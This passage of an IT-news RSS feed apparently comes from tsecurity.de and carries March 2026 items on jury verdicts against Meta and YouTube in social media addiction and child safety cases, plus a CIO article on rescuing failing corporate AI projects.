<p>Ursprünglich waren auch Snapchat und Tiktok Teil des Verfahrens, doch diese Unternehmen entschieden sich vor Beginn der Verhandlung für einen Vergleich. Parallel laufen noch weitere Verfahren gegen die Tech-Konzerne, unter anderem wegen nicht ausreichender Schutzmechanismen für Jugendliche in sozialen Medien. In <a href="https://www.reuters.com/sustainability/boards-policy-regulation/jury-orders-meta-pay-375-mln-new-mexico-lawsuit-over-child-sexual-exploitation-2026-03-24/" target="_blank" rel="noreferrer noopener">einem davon</a> wurde Meta zu einer Zahlung von 375 Millionen Dollar verurteilt.</p>



<p><a href="https://www.pcwelt.de/article/3043682/meta-werbung-abo-facebook-instagram-whatsapp-extra-kosten.html" target="_blank" rel="noreferrer noopener">Whatsapp, Facebook und Instagram: Diese Funktionen kosten bald extra</a></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Jury Just Blamed Meta and YouTube for Social Media Addiction]]></title>
<description><![CDATA[A jury finds Meta and YouTube liable in a landmark social media addiction case, signaling major legal risks for Big Tech and platform design.
The post A Jury Just Blamed Meta and YouTube for Social Media Addiction appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3381665/it-nachrichten/a-jury-just-blamed-meta-and-youtube-for-social-media-addiction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3381665/it-nachrichten/a-jury-just-blamed-meta-and-youtube-for-social-media-addiction/</guid>
<pubDate>Wed, 25 Mar 2026 22:31:23 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A jury finds Meta and YouTube liable in a landmark social media addiction case, signaling major legal risks for Big Tech and platform design.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-meta-youtube-social-media-addiction-lawsuit-verdict/">A Jury Just Blamed Meta and YouTube for Social Media Addiction</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Jury rules against Meta and YouTube in social media addiction case]]></title>
<description><![CDATA[A jury in Los Angeles has found that Meta and YouTube were negligent in a closely-watched trial over social media addiction. The companies were ordered to pay $3 million in damages to the woman who said she was harmed by their addictive features as a child.The case was brought by a 20-year-old wo...]]></description>
<link>https://tsecurity.de/de/3381313/it-nachrichten/jury-rules-against-meta-and-youtube-in-social-media-addiction-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3381313/it-nachrichten/jury-rules-against-meta-and-youtube-in-social-media-addiction-case/</guid>
<pubDate>Wed, 25 Mar 2026 19:31:34 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A jury in Los Angeles has found that Meta and YouTube <a target="_blank" class="link" href="https://www.nbclosangeles.com/news/local/verdict-la-social-media-addiction-trial/3861059/" data-i13n="cpos:1;pos:1">were negligent</a> in a closely-watched trial over social media addiction. The companies were ordered to pay $3 million in damages to the woman who said she was harmed by their addictive features as a child.</p><p>The case was brought by a 20-year-old woman, named in court documents as “K.G.M,” who sued Meta, YouTube, TikTok and Snap, saying that she had been harmed by the platforms as a child due to addictive features. TikTok and Snap reached <a target="_blank" class="link" href="https://www.engadget.com/social-media/tiktok-settles-to-avoid-major-social-media-addiction-lawsuit-183943927.html" data-i13n="cpos:2;pos:1">a settlement</a> ahead of the trial. </p><p>According to <a target="_blank" class="link" href="https://www.nbcnews.com/tech/tech-news/verdict-reached-landmark-social-media-addiction-trial-rcna263421" data-i13n="cpos:3;pos:1"><em>NBC News</em></a>, Meta was ordered to pay 70 percent of the $3 million in compensatory damages with YouTube taking on the remaining portion. Punitive damages have not yet been decided. “We respectfully disagree with the verdict and are evaluating our legal options,” a Meta spokesperson said in a statement. “We disagree with the verdict and plan to appeal.,” Google spokesperson José Castañeda said in a statement. “This case misunderstands YouTube, which is a responsibly built streaming platform, not a social media site.”</p><p>The weeks-long trial has been closely watched because it's the first of many court cases in which plaintiffs have argued that social media platforms harmed minors due to how they were designed. Meta's lawyers and executives <a target="_blank" class="link" href="https://www.engadget.com/social-media/meta-really-wants-you-to-believe-social-media-addiction-is-not-a-thing-130000927.html" data-i13n="cpos:4;pos:1">have disputed</a> the idea that social media should be considered an "addiction." CEO Mark Zuckerberg <a target="_blank" class="link" href="https://www.engadget.com/social-media/mark-zuckerberg-testifies-in-social-media-addiction-trial-that-meta-just-wants-instagram-to-be-useful-234332316.html" data-i13n="cpos:5;pos:1">testified </a>that the company wants Instagram to be "useful," and repeatedly accused the plaintiff's lawyer of "mischaracterizing" his past statements. </p><p>“This is the first time in history a jury has heard testimony by executives and seen internal documents that we believe prove these companies chose profits over children,” Joseph VanZandt, one of K.G.M.’s lawyers, said in <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=c813ae39-7d58-41cb-ac66-ad830606ceef&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=2c4052b5-1309-4094-bc4c-a8d28dc0048b&amp;featureId=text-link&amp;merchantName=The+New+York+Times&amp;linkText=a+statement&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5ueXRpbWVzLmNvbS8yMDI2LzAzLzI1L3RlY2hub2xvZ3kvc29jaWFsLW1lZGlhLXRyaWFsLXZlcmRpY3QuaHRtbCIsImNvbnRlbnRVdWlkIjoiMmM0MDUyYjUtMTMwOS00MDk0LWJjNGMtYThkMjhkYzAwNDhiIiwib3JpZ2luYWxVcmwiOiJodHRwczovL3d3dy5ueXRpbWVzLmNvbS8yMDI2LzAzLzI1L3RlY2hub2xvZ3kvc29jaWFsLW1lZGlhLXRyaWFsLXZlcmRpY3QuaHRtbCJ9&amp;signature=AQAAAdn7OmyeznRP8Nj_Ide2t14abSviSwctK3FkGV2vL8-2&amp;gcReferrer=https%3A%2F%2Fwww.nytimes.com%2F2026%2F03%2F25%2Ftechnology%2Fsocial-media-trial-verdict.html" data-i13n="elm:affiliate_link;sellerN:The New York Times;elmt:;cpos:6;pos:1" data-original-link="https://www.nytimes.com/2026/03/25/technology/social-media-trial-verdict.html">a statement</a> to <em>The New York Times,</em></p><p>For Meta, it's the second legal setback in as many days. The verdict comes one day after a jury in New Mexico ruled against Meta in a trial over child safety issues. The company was ordered to pay <a target="_blank" class="link" href="https://www.engadget.com/social-media/jury-rules-against-meta-orders-375-million-fine-in-major-child-safety-trial-224215209.html" data-i13n="cpos:7;pos:1">$375 million in penalties</a>; the company said it would appeal.</p><p><strong>Update, March 25, 2026, 11:22AM PT: </strong>Added a statement from Google.</p><p></p>This article originally appeared on Engadget at https://www.engadget.com/social-media/jury-rules-against-meta-and-youtube-in-social-media-addiction-case-181344860.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta and YouTube Found Negligent in Landmark Social Media Addiction Case]]></title>
<description><![CDATA[A jury found Meta and YouTube negligent in a landmark social media addiction case, ruling that addictive design features such as infinite scroll and algorithmic recommendations harmed a young user and contributed to her mental health distress. The verdict awards $3 million in compensatory damages...]]></description>
<link>https://tsecurity.de/de/3381291/it-security-nachrichten/meta-and-youtube-found-negligent-in-landmark-social-media-addiction-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3381291/it-security-nachrichten/meta-and-youtube-found-negligent-in-landmark-social-media-addiction-case/</guid>
<pubDate>Wed, 25 Mar 2026 19:21:33 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A jury found Meta and YouTube negligent in a landmark social media addiction case, ruling that addictive design features such as infinite scroll and algorithmic recommendations harmed a young user and contributed to her mental health distress. The verdict awards $3 million in compensatory damages so far and could pave the way for more lawsuits seeking financial penalties and product changes across the social media industry. "Meta is responsible for 70 percent of that cost and YouTube for the remainder," notes The New York Times. "TikTok and Snap both settled with the plaintiff for undisclosed terms before the trial started." From the report: The bellwether case, which was brought by a now 20-year-old woman identified as K.G.M., had accused social media companies of creating products as addictive as cigarettes or digital casinos. K.G.M. sued Meta, which owns Instagram and Facebook, and Google's YouTube over features like infinite scroll and algorithmic recommendations that she claimed led to anxiety and depression.
 
The jury of seven women and five men will deliberate further to decide what further punitive damages the companies should pay for malice or fraud. The verdict in K.G.M.'s case -- one of thousands of lawsuits filed by teenagers, school districts and state attorneys general against Meta, YouTube, TikTok and Snap, which owns Snapchat -- was a major win for the plaintiffs. The finding validates a novel legal theory that social media sites or apps can cause personal injury. It is likely to factor into similar cases expected to go to trial this year, which could expose the internet giants to further financial damages and force changes to their products. The verdict also comes on the heels of a New Mexico jury ruling that found Meta liable for violating state law by failing to protect users of its apps from child predators.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Meta+and+YouTube+Found+Negligent+in+Landmark+Social+Media+Addiction+Case%3A+https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F03%2F25%2F1745232%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F03%2F25%2F1745232%2Fmeta-and-youtube-found-negligent-in-landmark-social-media-addiction-case%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://meta.slashdot.org/story/26/03/25/1745232/meta-and-youtube-found-negligent-in-landmark-social-media-addiction-case?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta and YouTube designed addictive products that harmed young people, jury finds]]></title>
<description><![CDATA[Six-week trial including whistleblowers and top executives at Meta and YouTube was first of its kind to go to trialSign up for the Breaking News US email to get newsletter alerts in your inboxMeta and YouTube have been found liable for negligence for deliberately designing addictive products that...]]></description>
<link>https://tsecurity.de/de/3381275/it-nachrichten/meta-and-youtube-designed-addictive-products-that-harmed-young-people-jury-finds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3381275/it-nachrichten/meta-and-youtube-designed-addictive-products-that-harmed-young-people-jury-finds/</guid>
<pubDate>Wed, 25 Mar 2026 19:16:44 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Six-week trial including whistleblowers and top executives at Meta and YouTube was first of its kind to go to trial</p><ul><li><p><a href="https://www.theguardian.com/news/2026/feb/17/sign-up-for-the-breaking-news-us-email-to-get-newsletter-alerts-direct-to-your-inbox?utm_medium=ACQUISITIONS_STANDFIRST&amp;utm_campaign=BN22326&amp;utm_content=signup&amp;utm_term=standfirst&amp;utm_source=GUARDIAN_WEB">Sign up for the Breaking News US email to get newsletter alerts in your inbox</a></p></li></ul><p>Meta and YouTube have been found liable for negligence for deliberately designing addictive products that hooked a young user and led to her being harmed, a jury ruled on Wednesday. The tech companies have also been found liable for failure to warn. The jury awarded the plaintiffs in the case compensatory damages of $3m.</p><p>It took nearly nine days of deliberations for the Los Angeles jury to reach its verdict. Jurors also awarded punitive damages, which will be decided during the next phase of the trial.</p> <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Loses Trial After Arguing Child Exploitation Was 'Inevitable']]></title>
<description><![CDATA[Meta lost a child safety trial in New Mexico after a court found that its platforms failed to adequately protect children from exploitation and misled parents about app safety. According to Ars Technica, the jury on Tuesday "deliberated for only one day before agreeing that Meta should pay $375 m...]]></description>
<link>https://tsecurity.de/de/3381093/it-security-nachrichten/meta-loses-trial-after-arguing-child-exploitation-was-inevitable/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3381093/it-security-nachrichten/meta-loses-trial-after-arguing-child-exploitation-was-inevitable/</guid>
<pubDate>Wed, 25 Mar 2026 18:21:08 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta lost a child safety trial in New Mexico after a court found that its platforms failed to adequately protect children from exploitation and misled parents about app safety. According to Ars Technica, the jury on Tuesday "deliberated for only one day before agreeing that Meta should pay $375 million in civil damages..." While the jury declined to impose the maximum penalty New Mexico sought, which could have cost the company $2.2 billion, Meta may still face additional financial penalties and could be forced to make changes to its apps. From the report: The trial followed a 2023 lawsuit filed by New Mexico Attorney General Raul Torrez after The Guardian published a two-year investigation exposing child sex trafficking markets on Facebook and Instagram. Torrez's office then conducted an undercover investigation codenamed "Operation MetaPhile," in which officers posed as children on Facebook, Instagram, and WhatsApp. The jury heard that these fake profiles were "simply inundated with images and targeted solicitations" from child abusers, Torrez told CNBC in 2024. Ultimately, three men were arrested amid the sting for attempting to use Meta's social networks to prey on children. At trial, Mark Zuckerberg and Instagram chief Adam Mosseri testified that "harms to children, such as sexual exploitation and detriments to mental health, were inevitable on the company's platforms due to their vast user bases," The Guardian reported. Internal messages and documents, as well as testimony from child safety experts within and outside the company, showed that Meta repeatedly ignored warnings and failed to fix platforms to protect kids, New Mexico's AG successfully argued.
 
Perhaps most troubling to the jury, law enforcement and the National Center for Missing and Exploited Children also testified that Meta's reporting of crimes to children on its apps -- including child sexual abuse materials (CSAM) -- was "deficient," The Guardian reported. Rather than make it easy to trace harms on its platforms, the jury learned from frustrated cops that Meta "generated high volumes of 'junk' reports by overly relying on AI to moderate its platforms." This made its reporting "useless" and "meant crimes could not be investigated," The Guardian reported.
 
Celebrating the win as a "historic victory," Torrez told CNBC that families had previously paid the price for "Meta's choice to put profits over kids' safety." "Meta executives knew their products harmed children, disregarded warnings from their own employees, and lied to the public about what they knew," Torrez said. "Today the jury joined families, educators, and child safety experts in saying enough is enough." Meta said the company plans to appeal the verdict. "We respectfully disagree with the verdict and will appeal," Meta's spokesperson said. "We work hard to keep people safe on our platforms and are clear about the challenges of identifying and removing bad actors or harmful content. We will continue to defend ourselves vigorously, and we remain confident in our record of protecting teens online."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Meta+Loses+Trial+After+Arguing+Child+Exploitation+Was+'Inevitable'%3A+https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F03%2F25%2F172211%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F03%2F25%2F172211%2Fmeta-loses-trial-after-arguing-child-exploitation-was-inevitable%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://meta.slashdot.org/story/26/03/25/172211/meta-loses-trial-after-arguing-child-exploitation-was-inevitable?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 Key Takeaways From Meta’s Landmark $375M Defeat in Child Safety Case]]></title>
<description><![CDATA[Meta was on the wrong side of a $375 million verdict in a landmark child safety case. Here are five key takeaways and what they mean for Big Tech.
The post 5 Key Takeaways From Meta’s Landmark $375M Defeat in Child Safety Case appeared first on eWEEK.]]></description>
<link>https://tsecurity.de/de/3381002/it-nachrichten/5-key-takeaways-from-metas-landmark-375m-defeat-in-child-safety-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3381002/it-nachrichten/5-key-takeaways-from-metas-landmark-375m-defeat-in-child-safety-case/</guid>
<pubDate>Wed, 25 Mar 2026 17:46:57 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta was on the wrong side of a $375 million verdict in a landmark child safety case. Here are five key takeaways and what they mean for Big Tech.</p>
<p>The post <a href="https://www.eweek.com/news/meta-375m-child-safety-verdict-key-takeaways/">5 Key Takeaways From Meta’s Landmark $375M Defeat in Child Safety Case</a> appeared first on <a href="https://www.eweek.com/">eWEEK</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Verdict Says Meta Harmed Children]]></title>
<description><![CDATA[A jury in New Mexico recently ruled that Meta Platforms is liable for failing to protect minors from online risks such as sexual exploitation and human trafficking. This article has been indexed from CyberMaterial Read the original article: Verdict Says…
Read more →
The post Verdict Says Meta Har...]]></description>
<link>https://tsecurity.de/de/3380185/it-security-nachrichten/verdict-says-meta-harmed-children/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3380185/it-security-nachrichten/verdict-says-meta-harmed-children/</guid>
<pubDate>Wed, 25 Mar 2026 14:09:01 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A jury in New Mexico recently ruled that Meta Platforms is liable for failing to protect minors from online risks such as sexual exploitation and human trafficking. This article has been indexed from CyberMaterial Read the original article: Verdict Says…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/verdict-says-meta-harmed-children/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/verdict-says-meta-harmed-children/">Verdict Says Meta Harmed Children</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US jury orders Meta to pay $375 million over child safety failures]]></title>
<description><![CDATA[A New Mexico jury has found Meta liable for misleading users about platform safety and exposing children to harm, marking the first successful state trial against a major tech company on such claims. The court imposed the maximum statutory penalty, totaling $375 million in civil fines. The verdic...]]></description>
<link>https://tsecurity.de/de/3379880/it-security-nachrichten/us-jury-orders-meta-to-pay-375-million-over-child-safety-failures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3379880/it-security-nachrichten/us-jury-orders-meta-to-pay-375-million-over-child-safety-failures/</guid>
<pubDate>Wed, 25 Mar 2026 12:56:02 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A New Mexico jury has found Meta liable for misleading users about platform safety and exposing children to harm, marking the first successful state trial against a major tech company on such claims. The court imposed the maximum statutory penalty, totaling $375 million in civil fines. The verdict concludes a legal battle initiated by the …</p>
<p>The post <a href="https://cyberinsider.com/us-jury-orders-meta-to-pay-375-million-over-child-safety-failures/">US jury orders Meta to pay $375 million over child safety failures</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to rescue failing AI initiatives]]></title>
<description><![CDATA[In March 2023, automation company Zapier declared an internal code red, urging teams to sprint toward AI experimentation. Prototypes bloomed overnight. Workflows were rebuilt. “The energy was incredible,” says Brandon Sammut, the company’s chief people and AI transformation officer. “Teams were b...]]></description>
<link>https://tsecurity.de/de/3379530/it-security-nachrichten/how-to-rescue-failing-ai-initiatives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3379530/it-security-nachrichten/how-to-rescue-failing-ai-initiatives/</guid>
<pubDate>Wed, 25 Mar 2026 11:05:45 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In March 2023, automation company Zapier declared an internal code red, urging teams to sprint toward AI experimentation. Prototypes bloomed overnight. Workflows were rebuilt. “The energy was incredible,” says Brandon Sammut, the company’s chief people and AI transformation officer. “Teams were building AI-powered workflows.”</p>



<p>Yet few of those automations made it to production. While the models worked well in isolation, they couldn’t survive inside the web of Zapier’s existing tools, data sources, approval flows, and human workflows.</p>



<p>“That’s when it really clicked for me,” Sammut adds. “The hard part of AI isn’t the AI itself. It’s the orchestration around it.”</p>



<p>The demo-to-production gap, as he calls it, is only one of the reasons AI initiatives go sideways. Fragmented data, weak governance, and a disconnect between leaders and frontline teams often compound the problem. The numbers reflect this as well. MIT’s <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf" rel="nofollow">State of AI in Business 2025</a> report estimated that about 95% of gen AI pilots fail to produce measurable business impact.</p>



<p>It’s no secret that AI adoption is messy and far more complicated than some estimates suggest. So C-level executives have to recognize when an AI initiative is drifting off course, and whether it’s worth fixing or not. With the right strategy, though, a struggling experiment can turn into a project that serves the business.</p>



<p>“AI shouldn’t be sustained on optimism alone,” says Scott Likens, the US and global chief AI engineering officer at PwC. “It needs observable, repeatable outcomes tied to business value.”</p>



<h2 class="wp-block-heading">Frist signs of failure</h2>



<p>Signs of trouble often surface early. A common one is when a project seems to be moving forward, but the date for putting it into real use keeps getting pushed back. “’A few more weeks’ turns into ‘We need to sort out the integration,’ which turns into, ‘We’re waiting on a security review,'” Sammut says. “Each delay feels reasonable on its own, but taken together, it’s a pattern.”</p>



<p><a href="https://www.cio.com/article/3622458/10-steps-to-turn-a-failed-project-into-an-opportunity.html?utm=hybrid_search">Another sign that a project is going south</a> is the gap between leaders and practitioners. Executives often feel they have a clear view of the project, while the engineers and operators doing the work say much of the day-to-day friction goes unseen. At some point, Sammut believed projects were on track because he was hearing about milestones and launch dates. But a closer look showed that teams were stuck on integration backlogs and policy delays — problems that rarely surfaced during executive briefings.</p>



<p>In other cases, projects fail because they were never considered a priority by leadership. It happened to Eli Vovsha, manager of data science at cybersecurity software provider Fortra. Around 2022, he and a colleague set out to transform a hackathon prototype into a production-ready system powered by reinforcement learning.</p>



<p>Vovsha and his colleague delivered a POC, but from that point on, things stalled. “After various delays, the project was simply abandoned,” he says.</p>



<p>Looking back, he adds, the initiative faltered because leadership never treated it as a real priority. “This lack of genuine interest meant our engineer colleague had to repeatedly postpone work as higher priority items came his way,” he says.</p>



<p>In retrospect, he doesn’t question the technical decisions he made. The lesson was tactical. “As a project manager, I’d be very careful to ensure the initiative is aligned with the vision and roadmaps of the appropriate product managers, and there’s a built-in lever to guarantee engineering support,” he says.</p>



<p>Likens says he’s observed many AI initiatives lose momentum when they drift from clear business goals. When it comes to AI, he says, flexibility matters more than ownership, and refocusing on specific business problems supported by stronger data and governance can help teams move faster, and deliver results that last.</p>



<p>But not all warning signs are easy to spot. Some are subtle and easy to miss like the project fades from agendas, people stop talking about it, and updates grow vague. The excitement that once surrounded it gives way to polite silence. It’s why executives need to <a href="https://www.cio.com/article/4077457/why-it-projects-still-fail-2.html?utm=hybrid_search">pay attention to what’s not being said</a>. And they should also pay attention to users if the project has already been deployed. “The main thing to watch for is the absence of positive user feedback,” says Australian software engineer Sean Goedecke, who writes about AI and large-company dynamics on his <a href="http://www.seangoedecke.com/" rel="nofollow">website</a>. “The most successful AI products have immediately clicked with users.”</p>



<p>AI projects that fail, he adds, usually do so because they’re driven by the urge to do something with AI rather than to solve a real problem for users.</p>



<h2 class="wp-block-heading">Rescuing failed initiatives</h2>



<p>Some AI projects can be saved, but recovery requires a shift in mindset. These initiatives shouldn’t be treated as technical experiments, though. Leaders need to rather focus on how the work will <a href="https://www.cio.com/article/4110721/7-ways-to-kill-its-value-to-the-business.html?utm=hybrid_search">deliver real value to the business</a>. That means integrating these projects into real workflows, assigning clear ownership, and setting measurable results.</p>



<p>“The first step is shifting from model performance metrics to workflow performance metrics,” says Likens. “Ask is the business outcome improving, not if the model is accurate,” he says.</p>



<p>To have any chance of rescuing a failed AI initiative, organizations need to gain visibility into what’s actually happening, not what leadership thinks is happening. Then it’s important to figure out where the orchestration gaps are and what’s actually blocking progress.</p>



<p>“We stopped looking at the model’s performance in isolation and instead looked at the full workflow,” Sammut says. That meant asking where the manual handoffs are, where were people copying results from one system into another, and where does the process break down between what the AI produces and what teams actually need to act on.</p>



<p>Once those questions are answered, companies can take concrete steps. Sammut and his colleagues suggest assigning clear ownership. “Someone has to be accountable for production outcomes, not just the experiment,” he says.</p>



<p>There was further investment in earlier integration planning, pressing teams to ask hard questions about systems, data flows, and workflow dependencies before deadlines loomed. And they built governance into the process from the start, rather than letting compliance and security reviews surface late as unexpected obstacles. Plus, they standardized their tooling so teams worked on the same platforms, and prioritized training to help employees learn how to use the new technology and adapt workflows.</p>



<p>“When teams share both a common foundation and a way to learn from each other, every new initiative builds on the last instead of starting from scratch,” Sammut says. “That’s how experimentation becomes repeatable capability.”</p>



<p>He also insists organizations need to use a three-pillar framework when developing AI projects, in that every initiative should deliver measurable improvements in efficiency, quality, and employee experience. “Efficiency alone leads to job displacement, fears, and resistance,” he says. “Quality alone doesn’t justify the investment, and if the people doing the work hate the new process, it’s not going to stick.”</p>



<p>Applying that test earlier, he adds, would’ve helped his team shut down weaker efforts sooner, and focus time and investment on the projects that showed real promise.</p>



<h2 class="wp-block-heading">When to shut down an AI project</h2>



<p>Sometimes organizations keep troubled projects alive long after their prospects have dimmed. Ending an AI initiative can be painful, especially after months of work and public backing, but experienced executives say <a href="https://www.cio.com/article/3982374/how-it-leaders-can-say-yes-without-killing-projects-or-their-careers.html?utm=hybrid_search">knowing when to stop is part of the game</a>. Shutting down a struggling project frees up time, money, and talent for ideas that can deliver real value.</p>



<p>That discipline is even more important in AI, where the technology is moving fast. “Organizations should be especially willing to shut down AI initiatives,” says Goedecke. “The landscape is changing so quickly that previously-impossible projects become possible every month, so a 12-month-old AI initiative should probably be revisited purely on the basis of age.”</p>



<p>Sammut has seen this pattern, too. Teams cling to AI pilots out of sunk-cost thinking, continuing to invest time and effort just because so much has already been spent and no one wants to admit it might not work. “That’s a trap,” he says. “It’s better to redirect that energy and budget toward a higher-impact opportunity than to keep pouring resources into something that’s not going to move the needle.”</p>



<p>He recommends shutting down initiatives that prove to be less impactful than expected, or when costs outweigh the value they could deliver, even in a best-case scenario.</p>



<p>“If a pilot has been almost ready for production for more than two cycles without a clear, specific blocker being resolved, it’s probably time for a direct conversation about whether to redesign or stop,” Sammut says.</p>



<p>Stopping a project doesn’t have to mean wasting the work behind it, though. Sometimes, moving the team to a different initiative can accelerate progress rather than stall it. “The meta-lesson here is that speed of learning matters more than any single initiative,” he says. “If shutting down one initiative frees your team to learn faster on a better one, that’s not failure. That’s <a href="https://www.cio.com/article/4140287/building-it-leaders-for-an-ai-driven-future.html?utm=hybrid_search">good leadership</a>.”</p>



<h2 class="wp-block-heading">Dealing with doubt</h2>



<p>AI initiatives carry enormous expectations. They’re launched with bold promises, ambitious timelines, and the hope of quick transformation. “When they don’t deliver, it can feel like a public setback, especially with how visible AI has become,” Likens says.</p>



<p>Often, when they fall short, <a href="https://www.cio.com/article/4127461/why-trust-earning-cios-unlock-the-fastest-path-to-ai-innovation.html?utm=hybrid_search">the pressure can feel deeply personal</a>. “There’s a real moment of doubt,” says Sammut. “You wonder if you pushed too hard, or not hard enough. You wonder if people are losing confidence in the broader AI strategy because of one initiative that stalled.”</p>



<p>The teams building these AI projects feel it too. Engineers and product managers can become more cautious, and less willing to take chances or propose bold ideas. Over time, that hesitation can slow innovation far more than any single failed project.</p>



<p>“There’s a real risk that people internalize the message that experimentation is risky or AI is overhyped,” Sammut adds. “Both of those conclusions are wrong, but they’re natural responses when things don’t work out.”</p>



<p>Transparency is important in these cases. “When something doesn’t work, we talk about why in a way that treats the experience as an input, not a verdict of blame,” Sammut says.</p>



<p>In a field moving as quickly as AI, that openness can be a competitive advantage. “We believe in learning in public and sharing what we learn, whether it’s polished or not,” he adds.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Hit With $375 Million Verdict in New Mexico Child Safety Case]]></title>
<description><![CDATA[Meta lost in New Mexico. The bigger question now is whether the next phase forces changes to how its platforms work.
The post Meta Hit With $375 Million Verdict in New Mexico Child Safety Case appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3379439/it-nachrichten/meta-hit-with-375-million-verdict-in-new-mexico-child-safety-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3379439/it-nachrichten/meta-hit-with-375-million-verdict-in-new-mexico-child-safety-case/</guid>
<pubDate>Wed, 25 Mar 2026 10:32:00 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta lost in New Mexico. The bigger question now is whether the next phase forces changes to how its platforms work.</p>
<p>The post <a href="https://www.techrepublic.com/article/meta-new-mexico-verdict/">Meta Hit With $375 Million Verdict in New Mexico Child Safety Case</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A $375M receipt: New Mexico jury just confirmed why Meta is spending billions to rewrite age verification law]]></title>
<description><![CDATA[A few weeks ago I posted a bill text comparison showing that the age verification laws moving through US state legislatures are copy-pasted from two templates — one funded by Meta through the Digital Childhood Alliance, the other covering every operating system including Linux. The core argument ...]]></description>
<link>https://tsecurity.de/de/3378539/linux-tipps/a-375m-receipt-new-mexico-jury-just-confirmed-why-meta-is-spending-billions-to-rewrite-age-verification-law/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3378539/linux-tipps/a-375m-receipt-new-mexico-jury-just-confirmed-why-meta-is-spending-billions-to-rewrite-age-verification-law/</guid>
<pubDate>Wed, 25 Mar 2026 02:52:58 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
